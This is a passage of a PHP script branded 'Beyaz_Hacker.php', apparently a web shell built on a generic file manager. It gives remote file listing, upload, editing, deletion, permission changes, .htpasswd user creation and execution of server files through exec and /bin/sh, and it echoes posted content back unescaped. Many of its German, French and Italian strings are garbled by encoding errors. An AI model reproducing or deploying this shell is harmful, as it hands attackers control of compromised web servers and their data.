  1009.     static $mimes = array(
  1010.         '\.jpg$|\.jpeg$'  => 'image/jpeg',
  1011.         '\.gif$'          => 'image/gif',
  1012.         '\.png$'          => 'image/png',
  1013.         '\.html$|\.html$' => 'text/html',
  1014.         '\.txt$|\.asc$'   => 'text/plain',
  1015.         '\.xml$|\.xsl$'   => 'application/xml',
  1016.         '\.pdf$'          => 'application/pdf'
  1017.     );
  1018.  
  1019.     foreach ($mimes as $regex => $mime) {
  1020.         if (eregi($regex, $filename)) return $mime;
  1021.     }
  1022.  
  1023.     // return 'application/octet-stream';
  1024.     return 'text/plain';
  1025.  
  1026. }
  1027.  
  1028. function del ($file) {
  1029.     global $delim;
  1030.  
  1031.     if (!file_exists($file)) return false;
  1032.  
  1033.     if (@is_dir($file) && !@is_link($file)) {
  1034.  
  1035.         $success = false;
  1036.  
  1037.         if (@rmdir($file)) {
  1038.  
  1039.             $success = true;
  1040.  
  1041.         } elseif ($dir = @opendir($file)) {
  1042.  
  1043.             $success = true;
  1044.  
  1045.             while (($f = readdir($dir)) !== false) {
  1046.                 if ($f != '.' && $f != '..' && !del($file . $delim . $f)) {
  1047.                     $success = false;
  1048.                 }
  1049.             }
  1050.             closedir($dir);
  1051.  
  1052.             if ($success) $success = @rmdir($file);
  1053.  
  1054.         }
  1055.  
  1056.         return $success;
  1057.  
  1058.     }
  1059.  
  1060.     return @unlink($file);
  1061.  
  1062. }
  1063.  
  1064. function addslash ($directory) {
  1065.     global $delim;
  1066.  
  1067.     if (substr($directory, -1, 1) != $delim) {
  1068.         return $directory . $delim;
  1069.     } else {
  1070.         return $directory;
  1071.     }
  1072.  
  1073. }
  1074.  
  1075. function relative2absolute ($string, $directory) {
  1076.  
  1077.     if (path_is_relative($string)) {
  1078.         return simplify_path(addslash($directory) . $string);
  1079.     } else {
  1080.         return simplify_path($string);
  1081.     }
  1082.  
  1083. }
  1084.  
  1085. function path_is_relative ($path) {
  1086.     global $win;
  1087.  
  1088.     if ($win) {
  1089.         return (substr($path, 1, 1) != ':');
  1090.     } else {
  1091.         return (substr($path, 0, 1) != '/');
  1092.     }
  1093.  
  1094. }
  1095.  
  1096. function absolute2relative ($directory, $target) {
  1097.     global $delim;
  1098.  
  1099.     $path = '';
  1100.     while ($directory != $target) {
  1101.         if ($directory == substr($target, 0, strlen($directory))) {
  1102.             $path .= substr($target, strlen($directory));
  1103.             break;
  1104.         } else {
  1105.             $path .= '..' . $delim;
  1106.             $directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
  1107.         }
  1108.     }
  1109.     if ($path == '') $path = '.';
  1110.  
  1111.     return $path;
  1112.  
  1113. }
  1114.  
  1115. function simplify_path ($path) {
  1116.     global $delim;
  1117.  
  1118.     if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') {
  1119.         $path = realpath($path);
  1120.         if (@is_dir($path)) {
  1121.             return addslash($path);
  1122.         } else {
  1123.             return $path;
  1124.         }
  1125.     }
  1126.  
  1127.     $pattern  = $delim . '.' . $delim;
  1128.  
  1129.     if (@is_dir($path)) {
  1130.         $path = addslash($path);
  1131.     }
  1132.  
  1133.     while (strpos($path, $pattern) !== false) {
  1134.         $path = str_replace($pattern, $delim, $path);
  1135.     }
  1136.  
  1137.     $e = addslashes($delim);
  1138.     $regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e;
  1139.  
  1140.     while (ereg($regex, $path)) {
  1141.         $path = ereg_replace($regex, $delim, $path);
  1142.     }
  1143.    
  1144.     return $path;
  1145.  
  1146. }
  1147.  
  1148. function human_filesize ($filesize) {
  1149.  
  1150.     $suffices = 'kMGTPE';
  1151.  
  1152.     $n = 0;
  1153.     while ($filesize >= 1000) {
  1154.         $filesize /= 1024;
  1155.         $n++;
  1156.     }
  1157.  
  1158.     $filesize = round($filesize, 3 - strpos($filesize, '.'));
  1159.  
  1160.     if (strpos($filesize, '.') !== false) {
  1161.         while (in_array(substr($filesize, -1, 1), array('0', '.'))) {
  1162.             $filesize = substr($filesize, 0, strlen($filesize) - 1);
  1163.         }
  1164.     }
  1165.  
  1166.     $suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1));
  1167.  
  1168.     return $filesize . " {$suffix}B";
  1169.  
  1170. }
  1171.  
  1172. function strip (&$str) {
  1173.     $str = stripslashes($str);
  1174. }
  1175.  
  1176. /* ------------------------------------------------------------------------- */
  1177.  
  1178. function listing_page ($message = null) {
  1179.     global $self, $directory, $sort, $reverse;
  1180.  
  1181.     html_header();
  1182.  
  1183.     $list = getlist($directory);
  1184.  
  1185.     if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename';
  1186.     if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') $reverse = true; else $reverse = false;
  1187.  
  1188.     $list = sortlist($list, $sort, $reverse);
  1189.  
  1190.     echo '<h1 style="margin-bottom: 0">Beyaz_Hacker.php</h1>
  1191.  
  1192. <form enctype="multipart/form-data" action="' . $self . '" method="post">
  1193.  
  1194. <table id="main">
  1195. ';
  1196.  
  1197.     directory_choice();
  1198.  
  1199.     if (!empty($message)) {
  1200.         spacer();
  1201.         echo $message;
  1202.     }
  1203.  
  1204.     if (@is_writable($directory)) {
  1205.         upload_box();
  1206.         create_box();
  1207.     } else {
  1208.         spacer();
  1209.     }
  1210.  
  1211.     if ($list) {
  1212.         listing($list);
  1213.     } else {
  1214.         echo error('not_readable', $directory);
  1215.     }
  1216.  
  1217.     echo '</table>
  1218.  
  1219. </form>
  1220.  
  1221. ';
  1222.  
  1223.     html_footer();
  1224.  
  1225. }
  1226.  
  1227. function listing ($list) {
  1228.     global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;
  1229.  
  1230.     echo '<tr class="listing">
  1231.     <th style="text-align: center; vertical-align: middle"><img src="' . $self . '?image=smiley" alt="smiley" /></th>
  1232. ';
  1233.  
  1234.     column_title('filename', $sort, $reverse);
  1235.     column_title('size', $sort, $reverse);
  1236.  
  1237.     if (!$win) {
  1238.         column_title('permission', $sort, $reverse);
  1239.         column_title('owner', $sort, $reverse);
  1240.         column_title('group', $sort, $reverse);
  1241.     }
  1242.  
  1243.     echo '  <th class="functions">' . word('functions') . '</th>
  1244. </tr>
  1245. ';
  1246.  
  1247.     for ($i = 0; $i < sizeof($list); $i++) {
  1248.         $file = $list[$i];
  1249.  
  1250.         $timestamps  = 'mtime: ' . date($date_format, $file['mtime']) . ', ';
  1251.         $timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';
  1252.         $timestamps .= 'ctime: ' . date($date_format, $file['ctime']);
  1253.  
  1254.         echo '<tr class="listing">
  1255.     <td class="checkbox"><input type="checkbox" name="checked' . $i . '" value="true" onfocus="activate(\'other\')" /></td>
  1256.     <td class="filename" title="' . html($timestamps) . '">';
  1257.  
  1258.         if ($file['is_link']) {
  1259.  
  1260.             echo '<img src="' . $self . '?image=link" alt="link" /> ';
  1261.             echo html($file['filename']) . ' &rarr; ';
  1262.  
  1263.             $real_file = relative2absolute($file['target'], $directory);
  1264.  
  1265.             if (@is_readable($real_file)) {
  1266.                 if (@is_dir($real_file)) {
  1267.                     echo '[ <a href="' . $self . '?dir=' . urlencode($real_file) . '">' . html($file['target']) . '</a> ]';
  1268.                 } else {
  1269.                     echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($real_file) . '">' . html($file['target']) . '</a>';
  1270.                 }
  1271.             } else {
  1272.                 echo html($file['target']);
  1273.             }
  1274.  
  1275.         } elseif ($file['is_dir']) {
  1276.  
  1277.             echo '<img src="' . $self . '?image=folder" alt="folder" /> [ ';
  1278.             if ($win || $file['is_executable']) {
  1279.                 echo '<a href="' . $self . '?dir=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
  1280.             } else {
  1281.                 echo html($file['filename']);
  1282.             }
  1283.             echo ' ]';
  1284.  
  1285.         } else {
  1286.  
  1287.             if (substr($file['filename'], 0, 1) == '.') {
  1288.                 echo '<img src="' . $self . '?image=hidden_file" alt="hidden file" /> ';
  1289.             } else {
  1290.                 echo '<img src="' . $self . '?image=file" alt="file" /> ';
  1291.             }
  1292.  
  1293.             if ($file['is_file'] && $file['is_readable']) {
  1294.                echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
  1295.             } else {
  1296.                 echo html($file['filename']);
  1297.             }
  1298.  
  1299.         }
  1300.  
  1301.         if ($file['size'] >= 1000) {
  1302.             $human = ' title="' . human_filesize($file['size']) . '"';
  1303.         } else {
  1304.             $human = '';
  1305.         }
  1306.  
  1307.         echo "</td>\n";
  1308.  
  1309.         echo "\t<td class=\"size\"$human>{$file['size']} B</td>\n";
  1310.  
  1311.         if (!$win) {
  1312.  
  1313.             echo "\t<td class=\"permission\" title=\"" . decoct($file['permission']) . '">';
  1314.  
  1315.             $l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid());
  1316.             if ($l) echo '<a href="' . $self . '?action=permission&amp;file=' . urlencode($file['path']) . '&amp;dir=' . urlencode($directory) . '">';
  1317.             echo html(permission_octal2string($file['permission']));
  1318.             if ($l) echo '</a>';
  1319.  
  1320.             echo "</td>\n";
  1321.  
  1322.             if (array_key_exists('owner_name', $file)) {
  1323.                 echo "\t<td class=\"owner\" title=\"uid: {$file['owner']}\">{$file['owner_name']}</td>\n";
  1324.             } else {
  1325.                 echo "\t<td class=\"owner\">{$file['owner']}</td>\n";
  1326.             }
  1327.  
  1328.             if (array_key_exists('group_name', $file)) {
  1329.                 echo "\t<td class=\"group\" title=\"gid: {$file['group']}\">{$file['group_name']}</td>\n";
  1330.             } else {
  1331.                 echo "\t<td class=\"group\">{$file['group']}</td>\n";
  1332.             }
  1333.  
  1334.         }
  1335.  
  1336.         echo '  <td class="functions">
  1337.         <input type="hidden" name="file' . $i . '" value="' . html($file['path']) . '" />
  1338. ';
  1339.  
  1340.         $actions = array();
  1341.         if (function_exists('symlink')) {
  1342.             $actions[] = 'create_symlink';
  1343.         }
  1344.         if (@is_writable(dirname($file['path']))) {
  1345.             $actions[] = 'delete';
  1346.             $actions[] = 'rename';
  1347.             $actions[] = 'move';
  1348.         }
  1349.         if ($file['is_file'] && $file['is_readable']) {
  1350.             $actions[] = 'copy';
  1351.             $actions[] = 'download';
  1352.             if ($file['is_writable']) $actions[] = 'edit';
  1353.         }
  1354.         if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) {
  1355.             $actions[] = 'execute';
  1356.         }
  1357.  
  1358.         if (sizeof($actions) > 0) {
  1359.  
  1360.             echo '      <select class="small" name="action' . $i . '" size="1">
  1361.         <option value="">' . str_repeat('&nbsp;', 30) . '</option>
  1362. ';
  1363.  
  1364.             foreach ($actions as $action) {
  1365.                 echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
  1366.             }
  1367.  
  1368.             echo '      </select>
  1369.         <input class="small" type="submit" name="submit' . $i . '" value=" &gt; " onfocus="activate(\'other\')" />
  1370. ';
  1371.  
  1372.         }
  1373.  
  1374.         echo '  </td>
  1375. </tr>
  1376. ';
  1377.  
  1378.     }
  1379.  
  1380.     echo '<tr class="listing_footer">
  1381.     <td style="text-align: right; vertical-align: top"><img src="' . $self . '?image=arrow" alt="&gt;" /></td>
  1382.     <td colspan="' . ($cols - 1) . '">
  1383.         <input type="hidden" name="num" value="' . sizeof($list) . '" />
  1384.         <input type="hidden" name="focus" value="" />
  1385.         <input type="hidden" name="olddir" value="' . html($directory) . '" />
  1386. ';
  1387.  
  1388.     $actions = array();
  1389.     if (@is_writable(dirname($file['path']))) {
  1390.         $actions[] = 'delete';
  1391.         $actions[] = 'move';
  1392.     }
  1393.     $actions[] = 'copy';
  1394.  
  1395.     echo '      <select class="small" name="action_all" size="1">
  1396.         <option value="">' . str_repeat('&nbsp;', 30) . '</option>
  1397. ';
  1398.  
  1399.     foreach ($actions as $action) {
  1400.         echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
  1401.     }
  1402.  
  1403.     echo '      </select>
  1404.         <input class="small" type="submit" name="submit_all" value=" &gt; " onfocus="activate(\'other\')" />
  1405.     </td>
  1406. </tr>
  1407. ';
  1408.  
  1409. }
  1410.  
  1411. function column_title ($column, $sort, $reverse) {
  1412.     global $self, $directory;
  1413.  
  1414.     $d = 'dir=' . urlencode($directory) . '&amp;';
  1415.  
  1416.     if ($sort == $column) {
  1417.         if (!$reverse) {
  1418.             $r = '&amp;reverse=true';
  1419.             $arr = ' &and;';
  1420.         } else {
  1421.             $arr = ' &or;';
  1422.         }
  1423.     } else {
  1424.         $r = '';
  1425.     }
  1426.     echo "\t<th class=\"$column\"><a href=\"$self?{$d}sort=$column$r\">" . word($column) . "</a>$arr</th>\n";
  1427.  
  1428. }
  1429.  
  1430. function directory_choice () {
  1431.     global $directory, $homedir, $cols, $self;
  1432.  
  1433.     echo '<tr>
  1434.     <td colspan="' . $cols . '" id="directory">
  1435.         <a href="' . $self . '?dir=' . urlencode($homedir) . '">' . word('directory') . '</a>:
  1436.         <input type="text" name="dir" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" onfocus="activate(\'directory\')" />
  1437.         <input type="submit" name="changedir" value="' . word('change') . '" onfocus="activate(\'directory\')" />
  1438.     </td>
  1439. </tr>
  1440. ';
  1441.  
  1442. }
  1443.  
  1444. function upload_box () {
  1445.     global $cols;
  1446.  
  1447.     echo '<tr>
  1448.     <td colspan="' . $cols . '" id="upload">
  1449.         ' . word('file') . ':
  1450.         <input type="file" name="upload" onfocus="activate(\'other\')" />
  1451.         <input type="submit" name="submit_upload" value="' . word('upload') . '" onfocus="activate(\'other\')" />
  1452.     </td>
  1453. </tr>
  1454. ';
  1455.  
  1456. }
  1457.  
  1458. function create_box () {
  1459.     global $cols;
  1460.  
  1461.     echo '<tr>
  1462.     <td colspan="' . $cols . '" id="create">
  1463.         <select name="create_type" size="1" onfocus="activate(\'create\')">
  1464.         <option value="file">' . word('file') . '</option>
  1465.         <option value="directory">' . word('directory') . '</option>
  1466.         </select>
  1467.         <input type="text" name="create_name" onfocus="activate(\'create\')" />
  1468.         <input type="submit" name="submit_create" value="' . word('create') . '" onfocus="activate(\'create\')" />
  1469.     </td>
  1470. </tr>
  1471. ';
  1472.  
  1473. }
  1474.  
  1475. function edit ($file) {
  1476.     global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess;
  1477.  
  1478.     html_header();
  1479.  
  1480.     echo '<h2 style="margin-bottom: 3pt">' . html($file) . '</h2>
  1481.  
  1482. <form action="' . $self . '" method="post">
  1483.  
  1484. <table class="dialog">
  1485. <tr>
  1486. <td class="dialog">
  1487.  
  1488.     <textarea name="content" cols="' . $editcols . '" rows="' . $editrows . '" WRAP="off">';
  1489.  
  1490.     if (array_key_exists('content', $_POST)) {
  1491.         echo $_POST['content'];
  1492.     } else {
  1493.         $f = fopen($file, 'r');
  1494.         while (!feof($f)) {
  1495.             echo html(fread($f, 8192));
  1496.         }
  1497.         fclose($f);
  1498.     }
  1499.  
  1500.     if (!empty($_POST['user'])) {
  1501.         echo "\n" . $_POST['user'] . ':' . crypt($_POST['password']);
  1502.     }
  1503.     if (!empty($_POST['basic_auth'])) {
  1504.         if ($win) {
  1505.             $authfile = str_replace('\\', '/', $directory) . $htpasswd;
  1506.         } else {
  1507.             $authfile = $directory . $htpasswd;
  1508.         }
  1509.         echo "\nAuthType Basic\nAuthName &quot;Restricted Directory&quot;\n";
  1510.         echo 'AuthUserFile &quot;' . html($authfile) . "&quot;\n";
  1511.         echo 'Require valid-user';
  1512.     }
  1513.  
  1514.     echo '</textarea>
  1515.  
  1516.     <hr />
  1517. ';
  1518.  
  1519.     if ($apache && basename($file) == $htpasswd) {
  1520.         echo '
  1521.     ' . word('user') . ': <input type="text" name="user" />
  1522.     ' . word('password') . ': <input type="password" name="password" />
  1523.     <input type="submit" value="' . word('add') . '" />
  1524.  
  1525.     <hr />
  1526. ';
  1527.  
  1528.     }
  1529.  
  1530.     if ($apache && basename($file) == $htaccess) {
  1531.         echo '
  1532.     <input type="submit" name="basic_auth" value="' . word('add_basic_auth') . '" />
  1533.  
  1534.     <hr />
  1535. ';
  1536.  
  1537.     }
  1538.  
  1539.     echo '
  1540.     <input type="hidden" name="action" value="edit" />
  1541.     <input type="hidden" name="file" value="' . html($file) . '" />
  1542.     <input type="hidden" name="dir" value="' . html($directory) . '" />
  1543.     <input type="reset" value="' . word('reset') . '" id="red_button" />
  1544.     <input type="submit" name="save" value="' . word('save') . '" id="green_button" style="margin-left: 50px" />
  1545.  
  1546. </td>
  1547. </tr>
  1548. </table>
  1549.  
  1550. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
  1551.  
  1552. </form>
  1553.  
  1554. ';
  1555.  
  1556.     html_footer();
  1557.  
  1558. }
  1559.  
  1560. function spacer () {
  1561.     global $cols;
  1562.  
  1563.     echo '<tr>
  1564.     <td colspan="' . $cols . '" style="height: 1em"></td>
  1565. </tr>
  1566. ';
  1567.  
  1568. }
  1569.  
  1570. function textfieldsize ($content) {
  1571.  
  1572.     $size = strlen($content) + 5;
  1573.     if ($size < 30) $size = 30;
  1574.  
  1575.     return $size;
  1576.  
  1577. }
  1578.  
  1579. function request_dump () {
  1580.  
  1581.     foreach ($_REQUEST as $key => $value) {
  1582.         echo "\t<input type=\"hidden\" name=\"" . html($key) . '" value="' . html($value) . "\" />\n";
  1583.     }
  1584.  
  1585. }
  1586.  
  1587. /* ------------------------------------------------------------------------- */
  1588.  
  1589. function html ($string) {
  1590.     global $site_charset;
  1591.     return htmlentities($string, ENT_COMPAT, $site_charset);
  1592. }
  1593.  
  1594. function word ($word) {
  1595.     global $words, $word_charset;
  1596.     return htmlentities($words[$word], ENT_COMPAT, $word_charset);
  1597. }
  1598.  
  1599. function phrase ($phrase, $arguments) {
  1600.     global $words;
  1601.     static $search;
  1602.  
  1603.     if (!is_array($search)) for ($i = 1; $i <= 8; $i++) $search[] = "%$i";
  1604.  
  1605.     for ($i = 0; $i < sizeof($arguments); $i++) {
  1606.         $arguments[$i] = nl2br(html($arguments[$i]));
  1607.     }
  1608.  
  1609.     $replace = array('{' => '<pre>', '}' =>'</pre>', '[' => '<b>', ']' => '</b>');
  1610.  
  1611.     return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));
  1612.  
  1613. }
  1614.  
  1615. function getwords ($lang) {
  1616.     global $word_charset, $date_format;
  1617.  
  1618.     switch ($lang) {
  1619.     case 'de':
  1620.  
  1621.         $date_format = 'd.m.y H:i:s';
  1622.         $word_charset = 'ISO-8859-1';
  1623.  
  1624.         return array(
  1625. 'directory' => 'Verzeichnis',
  1626. 'file' => 'Datei',
  1627. 'filename' => 'Dateiname',
  1628.  
  1629. 'size' => 'Gr����¯�¿�½������¶����¯�¿�½���¯���¿���½e',
  1630. 'permission' => 'Rechte',
  1631. 'owner' => 'Eigner',
  1632. 'group' => 'Gruppe',
  1633. 'other' => 'Andere',
  1634. 'functions' => 'Funktionen',
  1635.  
  1636. 'read' => 'lesen',
  1637. 'write' => 'schreiben',
  1638. 'execute' => 'ausf����¯�¿�½������¼hren',
  1639.  
  1640. 'create_symlink' => 'Symlink erstellen',
  1641. 'delete' => 'l����¯�¿�½������¶schen',
  1642. 'rename' => 'umbenennen',
  1643. 'move' => 'verschieben',
  1644. 'copy' => 'kopieren',
  1645. 'edit' => 'editieren',
  1646. 'download' => 'herunterladen',
  1647. 'upload' => 'hochladen',
  1648. 'create' => 'erstellen',
  1649. 'change' => 'wechseln',
  1650. 'save' => 'speichern',
  1651. 'set' => 'setze',
  1652. 'reset' => 'zur����¯�¿�½������¼cksetzen',
  1653. 'relative' => 'Pfad zum Ziel relativ',
  1654.  
  1655. 'yes' => 'Ja',
  1656. 'no' => 'Nein',
  1657. 'back' => 'zur����¯�¿�½������¼ck',
  1658. 'destination' => 'Ziel',
  1659. 'symlink' => 'Symbolischer Link',
  1660. 'no_output' => 'keine Ausgabe',
  1661.  
  1662. 'user' => 'Benutzername',
  1663. 'password' => 'Kennwort',
  1664. 'add' => 'hinzuf����¯�¿�½������¼gen',
  1665. 'add_basic_auth' => 'HTTP-Basic-Auth hinzuf����¯�¿�½������¼gen',
  1666.  
  1667. 'uploaded' => '"[%1]" wurde hochgeladen.',
  1668. 'not_uploaded' => '"[%1]" konnte nicht hochgeladen werden.',
  1669. 'already_exists' => '"[%1]" existiert bereits.',
  1670. 'created' => '"[%1]" wurde erstellt.',
  1671. 'not_created' => '"[%1]" konnte nicht erstellt werden.',
  1672. 'really_delete' => 'Sollen folgende Dateien wirklich gel����¯�¿�½������¶scht werden?',
  1673. 'deleted' => "Folgende Dateien wurden gel����¯�¿�½������¶scht:\n[%1]",
  1674. 'not_deleted' => "Folgende Dateien konnten nicht gel����¯�¿�½������¶scht werden:\n[%1]",
  1675. 'rename_file' => 'Benenne Datei um:',
  1676. 'renamed' => '"[%1]" wurde in "[%2]" umbenannt.',
  1677. 'not_renamed' => '"[%1] konnte nicht in "[%2]" umbenannt werden.',
  1678. 'move_files' => 'Verschieben folgende Dateien:',
  1679. 'moved' => "Folgende Dateien wurden nach \"[%2]\" verschoben:\n[%1]",
  1680. 'not_moved' => "Folgende Dateien konnten nicht nach \"[%2]\" verschoben werden:\n[%1]",
  1681. 'copy_files' => 'Kopiere folgende Dateien:',
  1682. 'copied' => "Folgende Dateien wurden nach \"[%2]\" kopiert:\n[%1]",
  1683. 'not_copied' => "Folgende Dateien konnten nicht nach \"[%2]\" kopiert werden:\n[%1]",
  1684. 'not_edited' => '"[%1]" kann nicht editiert werden.',
  1685. 'executed' => "\"[%1]\" wurde erfolgreich ausgef����¯�¿�½������¼hrt:\n{%2}",
  1686. 'not_executed' => "\"[%1]\" konnte nicht erfolgreich ausgef����¯�¿�½������¼hrt werden:\n{%2}",
  1687. 'saved' => '"[%1]" wurde gespeichert.',
  1688. 'not_saved' => '"[%1]" konnte nicht gespeichert werden.',
  1689. 'symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" wurde erstellt.',
  1690. 'not_symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" konnte nicht erstellt werden.',
  1691. 'permission_for' => 'Rechte f����¯�¿�½������¼r "[%1]":',
  1692. 'permission_set' => 'Die Rechte f����¯�¿�½������¼r "[%1]" wurden auf [%2] gesetzt.',
  1693. 'permission_not_set' => 'Die Rechte f����¯�¿�½������¼r "[%1]" konnten nicht auf [%2] gesetzt werden.',
  1694. 'not_readable' => '"[%1]" kann nicht gelesen werden.'
  1695.         );
  1696.  
  1697.     case 'fr':
  1698.  
  1699.         $date_format = 'd.m.y H:i:s';
  1700.         $word_charset = 'ISO-8859-1';
  1701.  
  1702.         return array(
  1703. 'directory' => 'R����¯�¿�½������©pertoire',
  1704. 'file' => 'Fichier',
  1705. 'filename' => 'Nom fichier',
  1706.  
  1707. 'size' => 'Taille',
  1708. 'permission' => 'Droits',
  1709. 'owner' => 'Propri����¯�¿�½������©taire',
  1710. 'group' => 'Groupe',
  1711. 'other' => 'Autres',
  1712. 'functions' => 'Fonctions',
  1713.  
  1714. 'read' => 'Lire',
  1715. 'write' => 'Ecrire',
  1716. 'execute' => 'Ex����¯�¿�½������©cuter',
  1717.  
  1718. 'create_symlink' => 'Cr����¯�¿�½������©er lien symbolique',
  1719. 'delete' => 'Effacer',
  1720. 'rename' => 'Renommer',
  1721. 'move' => 'D����¯�¿�½������©placer',
  1722. 'copy' => 'Copier',
  1723. 'edit' => 'Ouvrir',
  1724. 'download' => 'T����¯�¿�½������©l����¯�¿�½������©charger sur PC',
  1725. 'upload' => 'T����¯�¿�½������©l����¯�¿�½������©charger sur serveur',
  1726. 'create' => 'Cr����¯�¿�½������©er',
  1727. 'change' => 'Changer',
  1728. 'save' => 'Sauvegarder',
  1729. 'set' => 'Ex����¯�¿�½������©cuter',
  1730. 'reset' => 'R����¯�¿�½������©initialiser',
  1731. 'relative' => 'Relatif',
  1732.  
  1733. 'yes' => 'Oui',
  1734. 'no' => 'Non',
  1735. 'back' => 'Retour',
  1736. 'destination' => 'Destination',
  1737. 'symlink' => 'Lien symbollique',
  1738. 'no_output' => 'Pas de sortie',
  1739.  
  1740. 'user' => 'Utilisateur',
  1741. 'password' => 'Mot de passe',
  1742. 'add' => 'Ajouter',
  1743. 'add_basic_auth' => 'add basic-authentification',
  1744.  
  1745. 'uploaded' => '"[%1]" a ����¯�¿�½������©t����¯�¿�½������© t����¯�¿�½������©l����¯�¿�½������©charg����¯�¿�½������© sur le serveur.',
  1746. 'not_uploaded' => '"[%1]" n a pas ����¯�¿�½������©t����¯�¿�½������© t����¯�¿�½������©l����¯�¿�½������©charg����¯�¿�½������© sur le serveur.',
  1747. 'already_exists' => '"[%1]" existe d����¯�¿�½������©j����¯�¿�½ .',
  1748. 'created' => '"[%1]" a ����¯�¿�½������©t����¯�¿�½������© cr����¯�¿�½������©����¯�¿�½������©.',
  1749. 'not_created' => '"[%1]" n a pas pu ����¯�¿�½������ªtre cr����¯�¿�½������©����¯�¿�½������©.',
  1750. 'really_delete' => 'Effacer le fichier?',
  1751. 'deleted' => "Ces fichiers ont ����¯�¿�½������©t����¯�¿�½������© d����¯�¿�½������©tuits:\n[%1]",
  1752. 'not_deleted' => "Ces fichiers n ont pu ����¯�¿�½������ªtre d����¯�¿�½������©truits:\n[%1]",
  1753. 'rename_file' => 'Renomme fichier:',
  1754. 'renamed' => '"[%1]" a ����¯�¿�½������©t����¯�¿�½������© renomm����¯�¿�½������© en "[%2]".',
  1755. 'not_renamed' => '"[%1] n a pas pu ����¯�¿�½������ªtre renomm����¯�¿�½������© en "[%2]".',
  1756. 'move_files' => 'D����¯�¿�½������©placer ces fichiers:',
  1757. 'moved' => "Ces fichiers ont ����¯�¿�½������©t����¯�¿�½������© d����¯�¿�½������©plac����¯�¿�½������©s en \"[%2]\":\n[%1]",
  1758. 'not_moved' => "Ces fichiers n ont pas pu ����¯�¿�½������ªtre d����¯�¿�½������©plac����¯�¿�½������©s en \"[%2]\":\n[%1]",
  1759. 'copy_files' => 'Copier ces fichiers:',
  1760. 'copied' => "Ces fichiers ont ����¯�¿�½������©t����¯�¿�½������© copi����¯�¿�½������©s en \"[%2]\":\n[%1]",
  1761. 'not_copied' => "Ces fichiers n ont pas pu ����¯�¿�½������ªtre copi����¯�¿�½������©s en \"[%2]\":\n[%1]",
  1762. 'not_edited' => '"[%1]" ne peut ����¯�¿�½������ªtre ouvert.',
  1763. 'executed' => "\"[%1]\" a ����¯�¿�½������©t����¯�¿�½������© brillamment ex����¯�¿�½������©cut����¯�¿�½������© :\n{%2}",
  1764. 'not_executed' => "\"[%1]\" n a pas pu ����¯�¿�½������ªtre ex����¯�¿�½������©cut����¯�¿�½������©:\n{%2}",
  1765. 'saved' => '"[%1]" a ����¯�¿�½������©t����¯�¿�½������© sauvegard����¯�¿�½������©.',
  1766. 'not_saved' => '"[%1]" n a pas pu ����¯�¿�½������ªtre sauvegard����¯�¿�½������©.',
  1767. 'symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" a ����¯�¿�½������©t����¯�¿�½������© cr����¯�¿�½������©e.',
  1768. 'not_symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" n a pas pu ����¯�¿�½������ªtre cr����¯�¿�½������©����¯�¿�½������©.',
  1769. 'permission_for' => 'Droits de "[%1]":',
  1770. 'permission_set' => 'Droits de "[%1]" ont ����¯�¿�½������©t����¯�¿�½������© chang����¯�¿�½������©s en [%2].',
  1771. 'permission_not_set' => 'Droits de "[%1]" n ont pas pu ����¯�¿�½������ªtre chang����¯�¿�½������©s en[%2].',
  1772. 'not_readable' => '"[%1]" ne peut pas ����¯�¿�½������ªtre ouvert.'
  1773.         );
  1774.  
  1775.     case 'it':
  1776.  
  1777.         $date_format = 'd-m-Y H:i:s';
  1778.         $word_charset = 'ISO-8859-1';
  1779.  
  1780.         return array(
  1781. 'directory' => 'Directory',
  1782. 'file' => 'File',
  1783. 'filename' => 'Nome File',
  1784.  
  1785. 'size' => 'Dimensioni',
  1786. 'permission' => 'Permessi',
  1787. 'owner' => 'Proprietario',
  1788. 'group' => 'Gruppo',
  1789. 'other' => 'Altro',
  1790. 'functions' => 'Funzioni',
  1791.  
  1792. 'read' => 'leggi',
  1793. 'write' => 'scrivi',
  1794. 'execute' => 'esegui',
  1795.  
  1796. 'create_symlink' => 'crea link simbolico',
  1797. 'delete' => 'cancella',
  1798. 'rename' => 'rinomina',
  1799. 'move' => 'sposta',
  1800. 'copy' => 'copia',
  1801. 'edit' => 'modifica',
  1802. 'download' => 'download',
  1803. 'upload' => 'upload',
  1804. 'create' => 'crea',
  1805. 'change' => 'cambia',
  1806. 'save' => 'salva',
  1807. 'set' => 'imposta',
  1808. 'reset' => 'reimposta',
  1809. 'relative' => 'Percorso relativo per la destinazione',
  1810.  
  1811. 'yes' => 'Si',
  1812. 'no' => 'No',
  1813. 'back' => 'indietro',
  1814. 'destination' => 'Destinazione',
  1815. 'symlink' => 'Link simbolico',
  1816. 'no_output' => 'no output',
  1817.  
  1818. 'user' => 'User',
  1819. 'password' => 'Password',
  1820. 'add' => 'aggiungi',
  1821. 'add_basic_auth' => 'aggiungi autenticazione base',
  1822.  
  1823. 'uploaded' => '"[%1]" ����¯�¿�½������¨ stato caricato.',
  1824. 'not_uploaded' => '"[%1]" non ����¯�¿�½������¨ stato caricato.',
  1825. 'already_exists' => '"[%1]" esiste gi����¯�¿�½ .',
  1826. 'created' => '"[%1]" ����¯�¿�½������¨ stato creato.',
